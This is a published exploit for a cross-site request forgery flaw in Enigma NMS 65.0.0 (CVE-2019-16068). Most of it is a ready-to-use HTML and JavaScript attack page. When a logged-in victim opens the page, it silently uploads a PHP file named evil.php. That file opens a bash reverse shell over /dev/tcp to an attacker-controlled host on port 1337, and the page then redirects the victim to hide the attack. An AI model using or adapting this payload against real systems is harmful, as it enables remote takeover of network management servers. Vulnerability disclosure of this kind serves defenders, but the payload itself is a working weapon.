#--------------------------------------------------------------------#
# Exploit Title: Enigma NMS Cross-Site Request Forgery (CSRF) #
# Date: 21 July 2019 #
# Author: Mark Cross (@xerubus | mogozobo.com) #
# Vendor: NETSAS Pty Ltd #
# Vendor Homepage: https://www.netsas.com.au/ #
# Software Link: https://www.netsas.com.au/enigma-nms-introduction/ #
# Version: Enigma NMS 65.0.0 #
# CVE-IDs: CVE-2019-16068 #
# Full write-up: https://www.mogozobo.com/?p=3647 #
#--------------------------------------------------------------------#
_ _
___ (~ )( ~)
/ \_\ \/ /
| D_ ]\ \/ -= Enigma CSRF by @xerubus =-
| D _]/\ \ -= We all have something to hide =-
\___/ / /\ \\
(_ )( _)
@Xerubus
The following CSRF will create a PHP file for executing a reverse shell on port 1337 via the user upload functionality within the NMS web application.
<html>
<script>history.pushState('', '', '/')</script>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http:\/\/<enigma_nms_ipaddr>\/cgi-bin\/protected\/manage_files.cgi", true);
xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------208051173310446317141640314495");
xhr.withCredentials = true;
var body = "-----------------------------208051173310446317141640314495\r\n" +
"Content-Disposition: form-data; name=\"action\"\r\n" +
"\r\n" +
"system_upgrade\r\n" +
"-----------------------------208051173310446317141640314495\r\n" +
"Content-Disposition: form-data; name=\"action_aux\"\r\n" +
"\r\n" +
"upload_file_complete\r\n" +
"-----------------------------208051173310446317141640314495\r\n" +
"Content-Disposition: form-data; name=\"upfile\"; filename=\"evil.php\"\r\n" +
"Content-Type: application/x-php\r\n" +
"\r\n" +
"\x3c?php\n" +
"\n" +
"exec(\"/bin/bash -c \'bash -i \x3e& /dev/tcp/<attacking_host_ipaddr>/1337 0\x3e&1\'\");\n" +
"\n" +
"?\x3e\n" +
"\r\n" +
"-----------------------------208051173310446317141640314495\r\n" +
"Content-Disposition: form-data; name=\"upfile_name\"\r\n" +
"\r\n" +
"evil.php\r\n" +
"-----------------------------208051173310446317141640314495--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
submitRequest();
window.location='http://<enigma_nms_ipaddr>/cgi-bin/protected/discover_and_manage.cgi?action=snmp_browser';
</script>
<body onload="submitRequest();" >
</body>
</html>
